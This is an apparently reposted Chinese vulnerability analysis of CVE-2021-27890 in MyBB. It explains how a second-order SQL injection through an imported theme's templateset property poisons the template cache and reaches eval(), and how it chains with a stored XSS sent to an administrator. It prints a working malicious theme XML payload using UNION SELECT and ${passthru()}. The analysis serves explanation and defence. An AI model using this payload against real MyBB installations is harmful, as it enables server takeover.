SQL注入导致RCE漏洞CVE-2021-27890的示例分析

发布时间:2021-12-29 17:47:48 作者:柒染
来源:亿速云 阅读:298

SQL注入导致RCE漏洞CVE-2021-27890的示例分析,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

0x00 前言

下面将这个有点复杂的SQL注入导致的RCE的形成原理讲清楚,先放从全文提炼的关键部分

1、模板取值使用危险函数eval(“字符串”),字符串的一部分是从数据库取值,从数据库所取的值是由用户输入

2、想使用如下形式执行代码

eval('echo "hi, ybdt!";');

碰到过滤一:对插入到数据库的双引号进行了转义,导致不能代码不能执行,如下所示

eval('echo "passthru(\"dir\")";');

3、想要在模板值中不使用双引号,即使用如下这种形式

eval('echo "${passthru(dir)}";');

碰到过滤二:MyBB会阻止将模板改为这种形式

4、通过导入模板时,模板某个属性存在二阶SQL注入漏洞,以此绕过3中的过滤

0x01 远程代码执行攻击链概述

国外著名论坛软件MyBB在1.8.16<=版本<=1.8.25受2个漏洞影响,在默认的MyBB配置下,这2个漏洞能被连在一起使用最终导致远程代码执行。第1个漏洞(“内嵌的自动URL”导致持久型XSS——CVE-2021-27889)发生在MyBB的渲染过程,允许任何普通论坛用户来嵌入存储型XSS攻击代码到帖子甚至私信中。

第2个漏洞(“主题属性中的SQL注入”导致RCE——CVE-2021-27890)是由于主题属性中存在SQL注入最终导致RCE,漏洞被触发需要管理员权限

一个经验丰富的攻击者能够开发一个针对存储型XSS的利用,然后发送一个私信给管理员,管理员登录论坛后打开私信,漏洞被触发,一个RCE的利用代码将在后台自动执行,最终完全接管MyBB服务器

0x02 “主题属性中的SQL注入”导致的RCE(CVE-2021-27890)技术细节

上一篇文章提到的XSS漏洞是针对MyBB论坛管理员的攻击。如果攻击者成功注入JavaScript代码到正在登录论坛的管理员浏览器,他将能够执行任何管理员能执行的动作。但是MyBB限制比较严格,甚至阻止了管理员执行任意PHP代码,因此我们将呈现一个需要管理员权限的授权的RCE漏洞

MyBB管理员能访问的特性之一是MyBB论坛的主题管理器。一个MyBB主题包括一系列键值对,键指向当前页面的内容,值包含当前页面的内容。

下列是一个例子对于MyBB如何显示一个主题

eval('$modcplink = "'.$templates->get('header_welcomeblock_member_moderator').'";');

上述例子中表示主题中的键header_welcomeblock_member_moderator被请求。相应的,主题内容的值如下

<div id='welcomeblock_back'><b>{$mybb->user['username']}</b></div>

这意味着最终传递给eval()的字符串如下

$modcplink = "<div id='welcomeblock_back'><b>{$mybb->user['username']}</b></div>";

正如你能看到,字符串是被包含在双引号中的,且PHP变量{$mybb->user['username']}是被插入到字符串中。由于{$mybb->user['username']}被存储到数据库中时,MyBB会转义其中的双引号,因此没办法跳出双引号,也就没法导致远程代码执行

另外一个能导致RCE的PHP技巧是,攻击者修改模板,添加一个$到变量前,变成字符串内插,如下所示

$modcplink = "<div id='welcomeblock_back'><b>${arbitrary_function()}</b></div>";

然而,MyBB也会通过阻止管理员插入这样的形式来阻止这种特有的PHP技巧。

这意味着如果我们能够发现一种方式绕过MyBB过滤器,我们将依旧能够执行任意PHP代码。我们将通过一个SQL注入实现绕过

MyBB主题能被导入通过XML文件,这个XML文件包含一系列主题属性(例如图像目录或版本),即一系列键值对,这一系列键值对将被读取,其中name是和键相关的,value是内容。这是一个例子:

<?xml version="1.0" encoding="UTF-8"?>
<theme name="Theme Example" version="1405">
   <properties>  <templateset><![CDATA[10]]></templateset>  <imgdir><![CDATA[images/]]></imgdir>  <logo><![CDATA[images/logo.png]]></logo>
   </properties>
   <stylesheets></stylesheets>
   <templates>  <template name="header_welcomeblock_member_moderator" version="1404"><![CDATA[
         <div id='welcomeblock_back'><b>{$mybb->user['username']}</b></div>  ]]></template>
   </templates>
</theme>

当一个管理员导入这样一个主题,XML是被解析,然后主题属性被存储到数据库。templateset属性存在二阶SQL注入

当这些主题被上传时,它们是被插入到MyBB的数据库实例中,并且在之后的其他SQL查询中没有任何过滤

我们已经知道了MyBB模板内容的值将传递给eval(),因此一个能控制主题属性值的攻击者将能够导致任意PHP代码执行。下列段落描述了SQL注入,让一个攻击者能够注入恶意模板代码到eval()调用中。

在每一个页面被载入的开始,MyBB会从数据库中取出全部的模板值,并存储它们到一个缓存中,其中SQL查询会使用templateset属性取到全部的模板值,这个templateset属性是被嵌入到查询字符串中,因此一个SQL注入漏洞发生了:

$query = $db->simple_select("templates", "title,template",
    "title IN (''$sql) AND sid IN ('-2','-1','".$theme['templateset']."')",
    array('order_by' => 'sid', 'order_dir' => 'asc')

正如被展示,查询会简单的拼接templateset属性。使用一个恶意的主题,一个人能够控制这个属性,然后让这个缓存函数返回攻击者控制的值。这是一个例子对于这样一个构造的主题使用一个SQL注入payload:

<?xml version="1.0" encoding="UTF-8"?>
<theme name="Default" version="1821">
   <properties>  <templateset>') AND 1=0 UNION SELECT title, '${passthru(\'ls\')}' from mybb_templates -- </templateset>
   </properties>
</theme>

最终的SQL查询将看起来如下:

SELECT title, template FROM mybb_templates WHERE 
   title IN (‘header_welcomeblock_member_moderator’, ‘...’) AND SID IN (‘-2’, ‘-1’, ‘’) 
   AND 1=0 UNION SELECT title, '${passthru(\'ls\')}' from mybb_templates -- ’)

通过这个SQL注入,使用攻击者控制的数据来施毒模板缓存,其没有经过任何转义或过滤,这些模板值是完全攻击者控制的,然后被传递给eval()的双引号字符串中,因此我们能执行任意PHP代码在${}语法中。最终,一个攻击者能够执行任意PHP代码,然后拿下服务器

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

推荐阅读:
  1. fastjson的RCE漏洞复现记录
  2. SQL注入漏洞过程的示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

sql rce cve-2021-27890

上一篇:SAP工作流是什么

下一篇:c语言中怎么从一个文件中读取数据到内存并再把内存中的数据写入另外一个文件

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》